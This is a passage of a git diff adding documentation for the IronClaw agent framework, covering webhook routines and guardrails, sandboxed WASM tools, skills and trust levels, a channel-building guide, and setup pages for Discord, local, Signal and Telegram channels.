"${DEPLOY_WEBHOOK_SECRET}" + } +} +``` + +The endpoint is available at: + +``` +POST https:///hooks/ +Authorization: Bearer +``` + + +Webhook trigger endpoints are not yet exposed in the web gateway UI. Create webhook routines via the `routine_create` tool or via direct chat until UI support is added. + + +### Example Webhook Request + +Trigger a deploy-complete routine from a CI/CD pipeline: + +```bash +curl -X POST https://ironclaw.example.com/hooks/deploy-complete \ + -H "Authorization: Bearer ${DEPLOY_WEBHOOK_SECRET}" \ + -H "Content-Type: application/json" \ + -d '{ + "environment": "production", + "version": "v1.4.2", + "commit": "abc1234" + }' +``` + +The request body is available to the action prompt as context. + +--- + +## Guardrails + +Guardrails are constraints that limit what a reactive routine can do during a single run. They are especially important for reactive routines because the trigger is external — you cannot predict how frequently events will fire. + +```json +{ + "guardrails": { + "max_tokens": 8000, + "max_tool_calls": 20, + "allowed_tools": ["memory_write", "memory_read", "memory_search"], + "timeout_secs": 120, + "rate_limit": { + "max_runs": 10, + "window_secs": 3600 + } + } +} +``` + +| Guardrail | Description | +|--------------------------|--------------------------------------------------------------------| +| `max_tokens` | Stop the job if cumulative LLM token usage exceeds this value | +| `max_tool_calls` | Stop after this many tool calls | +| `allowed_tools` | Whitelist of tools the routine may use (empty = all tools allowed) | +| `timeout_secs` | Hard kill the job after this many seconds | +| `rate_limit.max_runs` | Maximum runs within the time window | +| `rate_limit.window_secs` | Time window for rate limiting (seconds) | + + +Always set `rate_limit` on webhook-triggered routines. Without it, a misconfigured external service flooding your endpoint will spawn unlimited jobs. + + +--- + +## Execution Context + +Reactive routine jobs receive the triggering event as part of their context. For webhook triggers, this includes the request body. For event triggers, this includes the event payload (job ID, memory path, etc.). + +The action prompt can reference this context directly: + +``` +action: "A job just completed: ${event.job_id}. Get the status and write a summary." +``` \ No newline at end of file diff --git a/docs/capabilities/sandboxed-tools.mdx b/docs/capabilities/sandboxed-tools.mdx new file mode 100644 index 0000000000..e2e49adfc8 --- /dev/null +++ b/docs/capabilities/sandboxed-tools.mdx @@ -0,0 +1,201 @@ +--- +title: WASM Tools +sidebarTitle: Sandboxed Tools +description: Sandboxed tool execution via WebAssembly (wasmtime) +--- + +WASM tools run inside a WebAssembly sandbox powered by [wasmtime](https://wasmtime.dev/). They have access to IronClaw's host functions (logging, time, workspace), but all other capabilities — network, filesystem, credentials — must be explicitly declared in a `capabilities.json` file. + +This is IronClaw's recommended approach for custom integrations that need stronger isolation than a built-in Rust tool provides. + +--- + +## How It Works + +``` +LLM selects tool + ↓ +IronClaw loads WASM module (from cache or disk) + ↓ +Tool executes inside wasmtime sandbox + ↓ +Network requests route through the network proxy + ↓ +Proxy validates domain against allowlist + ↓ +Proxy injects credentials from encrypted store + ↓ +Response returns to WASM module + ↓ +Tool output passes through Safety Layer + ↓ +LLM receives sanitized result +``` + +--- + +## Sandbox Architecture + +### Fuel Metering + +Every WASM instruction consumes "fuel." When a module runs out of fuel, it is terminated immediately. This prevents infinite loops and runaway computation. + +```bash +# Configure fuel limit (default: 100,000,000 instructions) +export WASM_FUEL_LIMIT=100000000 +``` + +### Memory Limits + +WASM modules are allocated a fixed linear memory. Attempting to allocate beyond the limit traps and terminates the module. + +```bash +# Configure memory limit (default: 16 MB) +export WASM_MEMORY_LIMIT=16777216 +``` + +### Rate Limiting + +Each WASM tool has a per-tool rate limiter to prevent a misbehaving or compromised tool from making excessive API calls. + +Rate limits are declared in `capabilities.json`: + +```json +{ + "rate_limit": { + "requests_per_minute": 60, + "requests_per_day": 1000 + } +} +``` + +--- + +## capabilities.json + +Every WASM tool must include a `capabilities.json` alongside its `.wasm` binary. This file is the single source of truth for what the tool is allowed to do. + +```json +{ + "name": "my-tool", + "version": "0.1.0", + "description": "Fetches data from example.com API", + + "network": { + "allowed_hosts": [ + "api.example.com", + "auth.example.com" + ] + }, + + "filesystem": { + "read": ["/workspace/data/*"], + "write": ["/workspace/output/*"] + }, + + "credentials": [ + { + "name": "example_api_key", + "inject_as": "Authorization", + "format": "Bearer {value}" + } + ], + + "rate_limit": { + "requests_per_minute": 30, + "requests_per_day": 500 + } +} +``` + +### Network allowlist + +The `network.allowed_hosts` list controls which domains the tool can reach. Requests to any domain not in this list are rejected by the network proxy before the TCP connection is established. + +HTTPS traffic uses the `CONNECT` tunnel method. The proxy validates the target hostname against the allowlist before establishing the tunnel. + +### Filesystem access + +WASM tools cannot access the host filesystem by default. Paths declared under `filesystem.read` and `filesystem.write` are mounted into the WASM module's sandbox at the declared paths. + +### Credential injection + +Credentials listed in `capabilities.json` are never passed into the WASM module's memory. Instead, when the module makes an outbound HTTP request, the proxy intercepts the request and injects the specified header before forwarding it. + +The WASM module never sees the raw credential value — it only makes an unauthenticated HTTP request, and the proxy adds the auth header transparently. + +--- + +## Host Functions + +WASM modules can call the following host functions provided by IronClaw: + +| Function | Description | +|----------|-------------| +| `log(level, message)` | Write to the IronClaw log at the given severity level | +| `now_unix_secs()` | Return the current Unix timestamp | +| `workspace_read(path)` | Read a document from the workspace | +| `workspace_write(path, content)` | Write a document to the workspace | + +These are the only host capabilities available. A WASM tool cannot call arbitrary OS functions, fork processes, or access the network directly — all network access goes through the proxy. + +--- + +## Tool Discovery + +WASM tools are discovered at startup from two locations: + +- `~/.ironclaw/tools/` — User-installed tools +- `/tools/` — Per-workspace tools + +Each tool directory must contain: +- `.wasm` — The compiled WebAssembly module +- `capabilities.json` — The capability declaration + +--- + +## Installing WASM Tools + +```bash +# Install from a local file +ironclaw tool install ./my-tool.wasm + +# Install from a URL +ironclaw tool install https://example.com/tools/my-tool.wasm + +# List installed tools +ironclaw tool list +``` + +Or via the `extension_install` tool in chat: +> "Install the tool from https://example.com/tools/my-tool.wasm" + +--- + +## Module Compilation and Caching + +WASM modules are compiled by wasmtime on first load and cached. Subsequent loads use the compiled artifact, so only the first invocation of a new tool incurs compilation overhead. + +The cache is stored at `~/.ironclaw/wasm-cache/`. + +--- + +## Security Notes + + +Review `capabilities.json` before installing any WASM tool from an untrusted source. The capability file determines exactly what the tool can access — network hosts, filesystem paths, and which credentials are injected. + + + + + The proxy injects credentials into outgoing requests. There is no mechanism for a WASM module to read stored secrets directly. Even if a WASM module is compromised, it cannot access the secrets store. + + + + WASM modules cannot spawn child processes, execute shell commands, or load dynamic libraries. The WASI interface exposed to modules is minimal. + + + + A buggy or malicious WASM tool that enters an infinite loop will be terminated when it exhausts its fuel allocation. This prevents a single tool from blocking the agent indefinitely. + + diff --git a/docs/capabilities/skills.mdx b/docs/capabilities/skills.mdx new file mode 100644 index 0000000000..cfaeb2aa95 --- /dev/null +++ b/docs/capabilities/skills.mdx @@ -0,0 +1,88 @@ +--- +title: Skills +description: Prompt extensions that activate based on context +--- + +Skills are markdown files that contain domain-specific instructions. When a skill activates, its markdown body is injected into the LLM context — giving the agent specialized knowledge and behavior without retraining. + + +IronClaw can search and install skills from the ClawHub registry, a community-driven repository of pre-built skills covering various domains and use cases. + + +--- + +## What Skills Do + +A skill is a self-contained expertise module. It defines: + +- **When to activate** — patterns, keywords, and regex that match incoming messages +- **What to inject** — a markdown body with instructions, examples, and domain knowledge +- **What tools to require** — binaries, environment variables, and configuration needed +- **How much context to use** — a token budget cap per activation + +Skills are evaluated on every turn. The agent selects the most relevant skills that fit within the prompt budget and injects them before the LLM reasons about the request. + +--- + +## Activation Pipeline + +Skills pass through four stages before injection: + + + + Check that all prerequisites are met: required binaries exist on `PATH`, required environment variables are set, required configuration is present. Skills that fail gating are skipped entirely — they never score or consume budget. + + + + Each gated skill is scored against the current message using a deterministic algorithm: keyword matches, tag overlaps, and regex pattern matches. Higher scores indicate stronger relevance. + + + + Skills are sorted by score descending. Starting from the highest-scoring skill, each is selected until the `SKILLS_MAX_TOKENS` budget is exhausted. Lower-scoring skills that don't fit are dropped for this turn. + + + + Trust-based tool ceiling is applied. Installed skills (from ClawHub) lose access to dangerous tools regardless of what the skill requests. Trusted skills retain full tool access. See Trust Levels below. + + + +--- + +## Trust Levels + +| Trust Level | Source | Tool Access | +|---------------|-------------------------------------------------------------|---------------------------------------------------------| +| **Trusted** | User-placed in `~/.ironclaw/skills/` or workspace `skills/` | All tools available to the agent | +| **Installed** | Downloaded from ClawHub registry via `skill_install` | Read-only tools only — no shell, no file write, no HTTP | + + +Never place a skill file in the trusted directories unless you have reviewed its contents. A skill in `~/.ironclaw/skills/` has the same tool access as you do. + + +--- + +## Skill Directories + +IronClaw discovers skills from three locations, checked in order: + +| Directory | Trust | Description | +|---------------------------------|-----------|-------------------------------------------------------------| +| `~/.ironclaw/skills/` | Trusted | User's global skills, available in all sessions | +| `/skills/` | Trusted | Per-workspace skills, activated in that workspace's context | +| `~/.ironclaw/installed_skills/` | Installed | Registry-installed skills from ClawHub | + +Skills in trusted directories are loaded as-is. Skills in `installed_skills/` have their tool access capped by the attenuation layer regardless of what they declare. + +--- + +## Auto-Discovery + +When `SKILLS_AUTO_DISCOVER=true` (the default), IronClaw scans all skill directories at startup and indexes all valid SKILL.md files. New skills added while the agent is running are picked up on the next restart. + +```bash +# Enable auto-discovery (default: true) +SKILLS_AUTO_DISCOVER=true + +# Max tokens injected per turn across all active skills +SKILLS_MAX_TOKENS=4000 +``` diff --git a/docs/BUILDING_CHANNELS.md b/docs/channels/building-a-channel.mdx similarity index 61% rename from docs/BUILDING_CHANNELS.md rename to docs/channels/building-a-channel.mdx index 4fad5756d0..aed0009cf7 100644 --- a/docs/BUILDING_CHANNELS.md +++ b/docs/channels/building-a-channel.mdx @@ -1,15 +1,34 @@ -# Building WASM Channels - -This guide covers how to build WASM channel modules for IronClaw. - -## Overview +--- +title: How to build a channel +description: "Build a WASM messaging channel that plugs into IronClaw" +--- Channels are WASM components that handle communication with external messaging platforms (Telegram, WhatsApp, Slack, etc.). They run in a sandboxed environment and communicate with the host via the WIT (WebAssembly Interface Types) interface. -## Directory Structure +--- +## Prerequisites + +Install Rust and add the WASM target: + +```bash +rustup target add wasm32-wasip2 ``` -channels/ # Or channels-src/ + +Optional but useful for component conversion workflows: + +```bash +cargo install wasm-tools +``` + +--- + +## 1. Create the project structure + +Create a new crate under `channels-src/` (or another location) with this layout: + +```text +channels-src/ └── my-channel/ ├── Cargo.toml ├── src/ @@ -18,15 +37,18 @@ channels/ # Or channels-src/ ``` After building, deploy to: -``` + +```text ~/.ironclaw/channels/ ├── my-channel.wasm └── my-channel.capabilities.json ``` -## Cargo.toml Template +--- -```toml +## 2. Configure Cargo.toml + +```toml Cargo.toml [package] name = "my-channel" version = "0.1.0" @@ -48,7 +70,11 @@ strip = true codegen-units = 1 ``` -## Channel Implementation +--- + +## 3. Implement the channel interface + +Now that the crate is ready, implement the channel guest interface exposed by `wit/channel.wit`, and implement the guest trait methods to handle incoming messages and send responses. ### Required Imports @@ -114,6 +140,16 @@ impl Guest for MyChannel { // Call platform API to send message } + /// Send a proactive message without a prior inbound event. + fn on_broadcast(user_id: String, response: AgentResponse) -> Result<(), String> { + // Send a message to a known user or chat ID. + } + + /// React to agent status changes such as thinking or tool activity. + fn on_status(update: StatusUpdate) { + // Show typing indicators or status messages when useful. + } + /// Called when channel is shutting down. fn on_shutdown() { channel_host::log(channel_host::LogLevel::Info, "Channel shutting down"); @@ -124,7 +160,16 @@ impl Guest for MyChannel { export!(MyChannel); ``` -## Critical Pattern: Metadata Flow + + +`on_start` configures how the host calls your channel. `on_http_request` and `on_poll` ingest external messages; `on_respond` delivers replies to an existing conversation; `on_broadcast` sends proactive messages; `on_status` lets channels surface thinking indicators and other progress updates. + + +--- + +## 4. Preserve routing metadata (critical) + +Once your channel can receive messages, keep enough metadata to send responses back to the right chat and sender. **The most important pattern**: Store routing info in message metadata so responses can be delivered. @@ -161,9 +206,19 @@ fn on_respond(response: AgentResponse) -> Result<(), String> { } ``` -## Credential Injection + +`response.metadata_json` contains the metadata from the original inbound message. Treat it as the source of truth for reply routing. + -**Never hardcode credentials!** Use placeholders that the host replaces: +--- + +## 5. Add secure credential placeholders + +Now that the message path is set, configure API credentials using placeholders instead of hardcoded tokens. + + +**Never hardcode credentials!** Use placeholders that the host replaces + ### URL Placeholders (Telegram-style) @@ -176,7 +231,6 @@ channel_host::http_request("POST", url, &headers_json, Some(&body)); ### Header Placeholders (WhatsApp-style) ```rust -// The host replaces {WHATSAPP_ACCESS_TOKEN} in headers too let headers = serde_json::json!({ "Content-Type": "application/json", "Authorization": "Bearer {WHATSAPP_ACCESS_TOKEN}" @@ -186,11 +240,13 @@ channel_host::http_request("POST", &url, &headers.to_string(), Some(&body)); The placeholder format is `{SECRET_NAME}` where `SECRET_NAME` matches the credential name in uppercase with underscores (e.g., `whatsapp_access_token` → `{WHATSAPP_ACCESS_TOKEN}`). -## Capabilities File +--- -Create `my-channel.capabilities.json`: +## 6. Define capabilities -```json +The capabilities file declares setup prompts, allowlists, and rate limits. + +```json my-channel.capabilities.json { "type": "channel", "name": "my-channel", @@ -244,107 +300,96 @@ Create `my-channel.capabilities.json`: } ``` -## Building and Deploying +--- -### Supply Chain Security: No Committed Binaries +## 7. Build and install -**Do not commit compiled WASM binaries.** They are a supply chain risk — the binary in a PR may not match the source. IronClaw builds channels from source: +With code and capabilities in place, build the channel and copy the two required artifacts. -- `cargo build` automatically builds `telegram.wasm` via `build.rs` -- The built binary is in `.gitignore` and is not committed -- CI should run `cargo build` (or `./scripts/build-all.sh`) to produce releases +### Generic channel build -**Reproducible build:** ```bash -cargo build --release +cd channels-src/my-channel +cargo build --release --target wasm32-wasip2 + +# Convert the raw wasm module into a component and strip it +wasm-tools component new target/wasm32-wasip2/release/my_channel.wasm -o my-channel.wasm \ + 2>/dev/null || cp target/wasm32-wasip2/release/my_channel.wasm my-channel.wasm +wasm-tools strip my-channel.wasm -o my-channel.wasm + +mkdir -p ~/.ironclaw/channels +cp my-channel.wasm ~/.ironclaw/channels/my-channel.wasm +cp my-channel.capabilities.json ~/.ironclaw/channels/ ``` -Prerequisites: `rustup target add wasm32-wasip2`, `cargo install wasm-tools` (optional; fallback copies raw WASM if unavailable). + +The channels shipped in `channels-src/` use small `build.sh` wrappers that do exactly this component-conversion step. If your channel lives in the repo, following that pattern is the safest option. + -### Telegram Channel (Manual Build) +### Telegram channel example ```bash -# Add WASM target if needed rustup target add wasm32-wasip2 - -# Build Telegram channel ./channels-src/telegram/build.sh -# Install (or use ironclaw onboard to install bundled channel) mkdir -p ~/.ironclaw/channels cp channels-src/telegram/telegram.wasm channels-src/telegram/telegram.capabilities.json ~/.ironclaw/channels/ ``` -**Note**: The main IronClaw binary bundles `telegram.wasm` via `include_bytes!`. When modifying the Telegram channel source, run `./channels-src/telegram/build.sh` **before** building the main crate, so the updated WASM is included. + +If you are contributing a channel to the public repository, **do not commit compiled WASM binaries.** They are a supply chain risk — the binary in a PR may not match the source. IronClaw builds channels from source. + -### Other Channels +--- -```bash -# Build the WASM component -cd channels-src/my-channel -cargo build --release --target wasm32-wasip2 +## 8. Host functions you can call -# Deploy to ~/.ironclaw/channels/ -cp target/wasm32-wasip2/release/my_channel.wasm ~/.ironclaw/channels/my-channel.wasm -cp my-channel.capabilities.json ~/.ironclaw/channels/ -``` - -## Host Functions Available - -The channel host provides these functions: +Channel modules get a small host API for logging, storage, HTTP, and message emission: ```rust -// Logging -channel_host::log(LogLevel::Info, "Message"); +channel_host::log(channel_host::LogLevel::Info, "message"); -// Time -let now = channel_host::now_millis(); +let _now = channel_host::now_millis(); -// Workspace (scoped to channel namespace) -let data = channel_host::workspace_read("state/offset"); -channel_host::workspace_write("state/offset", "12345")?; +let _ = channel_host::workspace_write("state/offset", "12345"); +let _ = channel_host::workspace_read("state/offset"); -// HTTP requests (credentials auto-injected) -let response = channel_host::http_request("POST", &url, &headers, Some(&body))?; +let _response = channel_host::http_request("POST", &url, &headers, Some(&body)); -// Emit message to agent -channel_host::emit_message(&EmittedMessage { ... }); +channel_host::emit_message(&EmittedMessage { /* ... */ }); ``` -## Common Patterns - -### Webhook Secret Validation - -The host validates webhook secrets automatically. Check `req.secret_validated`: +Real channels also use a few additional host APIs: ```rust -fn on_http_request(req: IncomingHttpRequest) -> OutgoingHttpResponse { - if !req.secret_validated { - channel_host::log(LogLevel::Warn, "Invalid webhook secret"); - // Host should have already rejected, but defense in depth - } - // ... -} +let has_secret = channel_host::secret_exists("telegram_bot_token"); + +let _ = channel_host::store_attachment_data("attachment-id", &bytes); + +let _ = channel_host::pairing_upsert_request("telegram", "123456", "{}")?; +let _ = channel_host::pairing_resolve_identity("telegram", "123456")?; +let _ = channel_host::pairing_read_allow_from("telegram")?; ``` -### Polling with Offset Tracking +Use `store_attachment_data` when you download binary payloads such as voice notes or images during webhook or polling callbacks. Use the pairing APIs when your channel supports owner approval for unknown direct-message senders. -For platforms that require polling (not webhook-based): +--- + +## 9. Common patterns + +### Polling with stored offsets ```rust const OFFSET_PATH: &str = "state/last_offset"; fn on_poll() { - // Read last offset let offset = channel_host::workspace_read(OFFSET_PATH) .and_then(|s| s.parse::().ok()) .unwrap_or(0); - // Fetch updates since offset let updates = fetch_updates(offset); - - // Process and track new offset let mut new_offset = offset; + for update in updates { if update.id >= new_offset { new_offset = update.id + 1; @@ -352,37 +397,33 @@ fn on_poll() { emit_message(update); } - // Save new offset if new_offset != offset { let _ = channel_host::workspace_write(OFFSET_PATH, &new_offset.to_string()); } } ``` -### Status Message Filtering - -Skip status updates to prevent loops: +### Ignore status-only payloads ```rust -// Skip status updates (delivered, read, etc.) if !payload.statuses.is_empty() && payload.messages.is_empty() { - return; // Only status updates, no actual messages + return; } ``` -### Bot Message Filtering - -Skip bot messages to prevent infinite loops: +### Ignore bot senders ```rust if sender.is_bot { - return; // Don't respond to bots + return; } ``` -## Testing +--- -Add tests in the same file: +## 10. Testing and troubleshooting + +Add basic parsing and metadata round-trip tests: ```rust #[cfg(test)] @@ -391,50 +432,21 @@ mod tests { #[test] fn test_parse_webhook() { - let json = r#"{ ... }"#; - let payload: WebhookPayload = serde_json::from_str(json).unwrap(); - assert_eq!(payload.messages.len(), 1); - } - - #[test] - fn test_metadata_roundtrip() { - let meta = MyMessageMetadata { ... }; - let json = serde_json::to_string(&meta).unwrap(); - let parsed: MyMessageMetadata = serde_json::from_str(&json).unwrap(); - assert_eq!(meta.chat_id, parsed.chat_id); + let json = r#"{\"messages\":[]}"#; + let v: serde_json::Value = serde_json::from_str(json).expect("valid json in test"); + assert!(v.get("messages").is_some()); } } ``` -Run tests with: -```bash -cargo test -``` - -## Troubleshooting - -### "byte index N is not a char boundary" - -Never slice strings by byte index! Use character-aware truncation: +If you see `byte index N is not a char boundary`, avoid byte slicing and truncate by characters: ```rust -// BAD: panics on multi-byte UTF-8 (emoji, etc.) -let preview = &content[..50]; - -// GOOD: safe truncation let preview: String = content.chars().take(50).collect(); ``` -### Credential placeholders not replaced +If credential placeholders are not resolved: -1. Check the secret name matches (lowercase with underscores) -2. Verify the secret is in `allowed_names` in capabilities -3. Check logs for "unresolved placeholders" warnings - -### Messages not routing to responses - -Ensure `on_respond` uses the ORIGINAL message's metadata, not response metadata: -```rust -// response.metadata_json comes from the ORIGINAL emit_message call -let metadata: MyMetadata = serde_json::from_str(&response.metadata_json)?; -``` +1. Verify secret names match the declared placeholders. +2. Confirm the secret is permitted in `allowed_names`. +3. Check runtime logs for unresolved placeholder warnings. diff --git a/docs/channels/discord.mdx b/docs/channels/discord.mdx new file mode 100644 index 0000000000..e6c295792c --- /dev/null +++ b/docs/channels/discord.mdx @@ -0,0 +1,95 @@ +--- +title: "Discord" +description: "Interact with your agent through Discord" +--- + +You can create a Discord application and connect your IronClaw agent to it. Once configured, you can talk to your agent in direct messages or add it to a group chat so it can participate there. + + +If you haven't set up your agent yet, follow our [Quickstart guide](../quickstart) + + +--- + +## Set up the Discord channel + + + + + +In order to create a new Discord application, navigate to the [Developer Portal](https://discord.com/developers/applications). + + + + Click on the "New Application" button, give it a name (e.g. IronClaw), and click "Create". + + + Navigate to the "Bot" tab on the left sidebar, under the "Token" section click on "Reset Token" and copy the token that is generated. You will need this token to connect your Discord application to IronClaw. + + + + + + + Invoke the IronClaw CLI onboard wizard using the `--channels-only` flag to configure only the channels without going through the entire onboarding process again: + + ``` + ironclaw onboard --channels-only + ``` + + + + If you have not setup a `Tunnel` yet, the wizard will ask you to choose a tunnel provider and set it up. We recommend using [ngrok](https://dashboard.ngrok.com/) for its ease of use and reliability. + + ![ngrok setup](/images/channels/tunnel.png) + + + Select the Discord channel from the list of available channels to install it. + + + Enter the bot token from the `"Bot"` tab in the [Discord Developer Portal](https://discord.com/developers/applications), and the public key from the `"General Information"` tab. + + + + + Start the `ironclaw` agent: + + ``` + ironclaw + ``` + + + + + Discord does not allow to message bots directly, so you will first need to add it to a server you are part of, and then you can DM the bot from there. + + Generate an invite URL in the "OAuth" section of the [Discord Developer Portal](https://discord.com/developers/applications) with the following `scopes` enabled: + + - bot + - applications.commands + + Then select - at minimum - the following `Bot Permissions`: + + - View Channels + - Send Messages + - Read Message History + - Add Reactions + + Copy the generated URL at the bottom, paste it into your browser, select your server, and click Continue to connect. You should now see your bot in the Discord server. + + + + + In order to be able to trigger the bot in group chats, you need to edit the `.ironclaw/channels/discord.capabilities.json` file and add the `channel ID` of the channel where you want the bot to be active to the `mention_channel_ids` list. + + + To get the channel ID, **enable Developer Mode** in your **Discord settings**, right-click on the channel where you want the bot to be active, and click "Copy ID". + + + + + Now that you share a server with the bot, you can send it a direct message. Click on its name in the member list and send them a direct message. The bot will reply with a pairing command that you need to execute in the terminal to complete the pairing process and start chatting with your agent. + + + + diff --git a/docs/channels/local.md b/docs/channels/local.md new file mode 100644 index 0000000000..44e759bfe9 --- /dev/null +++ b/docs/channels/local.md @@ -0,0 +1,125 @@ +--- +title: "Local" +description: "Use IronClaw locally via terminal or browser" +--- + +By default, IronClaw provides two local interfaces for chatting with your agent: + +- **Terminal UI (TUI):** chat directly in your terminal +- **Web Gateway:** chat in your browser over a local HTTP server + + +If you haven't set up your agent yet, follow our [Quickstart guide](../quickstart) + + +--- + +## Terminal UI + +Simply run `ironclaw` and the TUI will launch in your terminal. Use the keyboard shortcuts below to navigate and chat with your agent. +| Key | Action | +|-----|--------| +| `Enter` | Send message | +| `Shift+Enter` | New line in composer | +| `Ctrl+C` | Quit | +| `Ctrl+L` | Clear screen | +| `Tab` | Focus next element | +| `Esc` | Cancel or back | +| `Up/Down` | Scroll history | + +### Configuration + +| Option | Default | Description | +|--------|---------|-------------| +| `CLI_ENABLED` | `true` | Enable or disable the Terminal UI | + + +--- + +## Web Gateway + +| Option | Default | Description | +|--------|---------|-------------| +| `GATEWAY_HOST` | `127.0.0.1` | Host interface for the Web Gateway | +| `GATEWAY_PORT` | `3000` | Port used by the Web Gateway | +| `GATEWAY_ENABLED` | `true` | Enable or disable the Web Gateway | +| `GATEWAY_AUTH_TOKEN` | auto-generated | Auth token required to open the Web UI | + +### Authentication + +By default, IronClaw generates an auth token at startup and prints it in logs. To use a stable token across restarts: + +```bash +export GATEWAY_AUTH_TOKEN="your-secure-token-here" +``` + +Generate one: + +```bash +openssl rand -hex 32 +``` + +### API endpoints + +The Web Gateway also exposes local endpoints: + +| Endpoint | Description | +|----------|-------------| +| `GET /api/status` | Server status | +| `POST /api/chat` | Send message | +| `GET /api/jobs` | List jobs | +| `GET /api/memory` | Search memory | + +### Network access + +Use localhost-only access (recommended): + +```bash +export GATEWAY_HOST=127.0.0.1 +``` + +Use LAN access: + +```bash +export GATEWAY_HOST=0.0.0.0 +``` + + +When using `0.0.0.0`, use a strong auth token and place the service behind HTTPS/reverse proxy before exposing it outside your local network. + + +--- + +## Troubleshooting + + + + - Ensure your terminal supports Unicode and 256 colors + - Set `TERM=xterm-256color` + - Restart the terminal session + + + + - Check terminal focus + - Run `reset` + - Disable conflicting terminal mouse mode + + + + - Verify `ironclaw run` is active + - Check `GATEWAY_PORT` value + - Confirm host and firewall settings + + + + - Copy token exactly from startup logs + - Remove trailing spaces + - Set a persistent `GATEWAY_AUTH_TOKEN` + + + + - Check local network/proxy stability + - Verify reverse proxy supports WebSocket upgrades + - Inspect browser console logs + + diff --git a/docs/channels/overview.mdx b/docs/channels/overview.mdx new file mode 100644 index 0000000000..eaa1004c26 --- /dev/null +++ b/docs/channels/overview.mdx @@ -0,0 +1,32 @@ +--- +title: "Overview" +description: "Set up messaging channels to interact with your agent" +--- + +Channels define how people send messages to your agent. You can start local for development, then add messaging apps or webhooks as your integration needs grow. + + + Configure a tunnel so webhook-based channels can receive incoming requests. + + + + + Built-in terminal UI and web gateway for local usage and testing. + + + + Talk to your agent in Telegram direct messages and group chats. + + + + Connect IronClaw to Signal through a signal-cli HTTP daemon. + + + + Integrate with Discord to chat in servers, channels, and DMs. + + + + Send messages from external systems using a REST endpoint. + + diff --git a/docs/channels/signal.mdx b/docs/channels/signal.mdx new file mode 100644 index 0000000000..bb55c3fb93 --- /dev/null +++ b/docs/channels/signal.mdx @@ -0,0 +1,39 @@ +--- +title: "Signal" +description: "Interact with your agent through Signal" +--- + +Connect IronClaw to Signal so you can talk to your agent in direct messages. + + +If you haven't set up your agent yet, follow our [Quickstart guide](../quickstart) + + + +Signal channel documentation is coming soon. The channel is fully implemented — full setup steps and configuration details are being written. + + + +--- + +## Set up a Signal channel + +The Signal channel connects IronClaw to a running [signal-cli](https://github.com/AsamK/signal-cli) HTTP daemon. Before configuring IronClaw, start signal-cli in daemon mode on your machine. + +--- + +## Configuration Options + +Configure the Signal channel through environment variables: + +| Variable | Description | +|----------|-------------| +| `SIGNAL_HTTP_URL` | URL of the signal-cli HTTP daemon | +| `SIGNAL_ACCOUNT` | Your Signal phone number (e.g. `+1234567890`) | +| `SIGNAL_ALLOW_FROM` | Comma-separated list of phone numbers allowed to message the bot | + +```bash +export SIGNAL_HTTP_URL=http://127.0.0.1:8080 +export SIGNAL_ACCOUNT=+1234567890 +export SIGNAL_ALLOW_FROM=+0987654321,+11234567890 +``` diff --git a/docs/channels/telegram.mdx b/docs/channels/telegram.mdx new file mode 100644 index 0000000000..4637cff063 --- /dev/null +++ b/docs/channels/telegram.mdx @@ -0,0 +1,338 @@ +--- +title: "Telegram" +description: "Interact with your agent through Telegram" +--- + +You can create a Telegram bot and connect your IronClaw agent to it. Once configured, you can talk to your agent in direct messages or add it to a group chat so it can participate there. + + +If you haven't set up your agent yet, follow our [Quickstart guide](../quickstart) + + +--- + +## Set up a Telegram channel + + + + + +In order to create a new Telegram bot, you need to talk to [BotFather](https://t.me/botfather), the official Telegram bot that helps you create and manage your bots. + + + + Search for "BotFather" in the Telegram app and start a conversation with it. You can also use this link: [https://t.me/botfather](https://t.me/botfather) + + + Send the command `/newbot` to BotFather and follow the instructions to create a new bot. You will need to choose a name and a username for your bot. The username must end with "bot". For example, "my_agent_bot". + + + After creating your bot, BotFather will give you a token that looks like this: `123456789:ABCdefGhIJKlmNoPQRsTUVwxyZ`. This token is used to authenticate your bot and allow it to access the Telegram API. Keep this token safe and do not share it with anyone. You will need it later to configure the Telegram channel in IronClaw. + + + + + + + Invoke the IronClaw CLI onboard wizard using the `--channels-only` flag to configure only the channels without going through the entire onboarding process again: + + ``` + ironclaw onboard --channels-only + ``` + + + + If you have not setup a `Tunnel` yet, the wizard will ask you to choose a tunnel provider and set it up. We recommend using [ngrok](https://dashboard.ngrok.com/) for its ease of use and reliability. + + ![ngrok setup](/images/channels/tunnel.png) + + + Select the Telegram channel from the list of available channels to install it. + ![select channel](/images/channels/telegram-channel.png) + + + Enter the bot token you got from BotFather in the previous step. + + + + + + Now that you have configured your Telegram channel, it is time to test it out. Start the `ironclaw` agent if it is not already running: + + ``` + ironclaw + ``` + + Send a message to your bot in Telegram. It will respond with a command that you will need to execute in the terminal to complete the channel setup: + + ``` + ironclaw pairing approve telegram + ``` + + + + +--- + +## Telegram Side Settings + + +Telegram bots default to Privacy Mode, which limits what group messages they receive.If the bot must see all group messages, either: + + - disable privacy mode via `/setprivacy`, or + - make the bot a group admin. + +When toggling privacy mode, remove and re-add the bot in each group so Telegram applies the change. + + + Admin status is controlled in Telegram group settings.Admin bots receive all group messages, which is useful for always-on group behavior. + + + - `/setjoingroups` to allow/deny group adds + - `/setprivacy` for group visibility behavior + + + +--- + +## Configuration Options + +You can configure the behavior of the Telegram channel through the +`.ironclaw/channels/telegram.capabilities.json` file, which is created +automatically after you set up the channel for the first time. + + + +| Option | Values | Default | Description | +|---------------------------------|--------------------------------|-----------|---------------------------------------------------------------------------------| +| `dm_policy` | `open`, `allowlist`, `pairing` | `pairing` | Controls who can send direct messages to the bot | +| `allow_from` | user IDs | `[]` | Users allowed to DM the bot when `dm_policy` is set to `allowlist` | +| `owner_id` | Telegram user ID | — | If set, only this user can interact with the bot (DMs and group messages) | +| `respond_to_all_group_messages` | bool | `false` | Respond to all group messages | +| `bot_username` | username | — | For group mention detection whenever `respond_to_all_group_messages` is `false` | +| `polling_enabled` | bool | `false` | Use polling instead of webhooks | +| `poll_interval_ms` | number | `30000` | Polling interval in milliseconds (only used if `polling_enabled` is `true`) | + + + + +Remember to restart your agent after changing the configuration file for the changes to take effect + + + +### Direct Message Policy + +The `dm_policy` option controls who can send direct messages to the bot: + +- `open`: anyone can DM the bot without restrictions +- `allowlist`: only users in the `allow_from` list can DM the bot +- `pairing` **(default)**: the bot will DM back any user that contacts it with a pairing command that needs to be executed in the terminal + +Related options: +- The `allow_from` option is a list of Telegram user IDs that are allowed to DM the bot when `dm_policy` is set to `allowlist`. +- The `owner_id` option restricts the bot to answer only messages from a specific Telegram user ID + + + +**User ID** + +Message [@userinfobot](https://t.me/userinfobot) to get your Telegram user ID. + + + +### Respond to all group messages +By default, the Telegram channel will only respond to messages that mention the bot in groups. +If you want the bot to respond to all group messages, set the 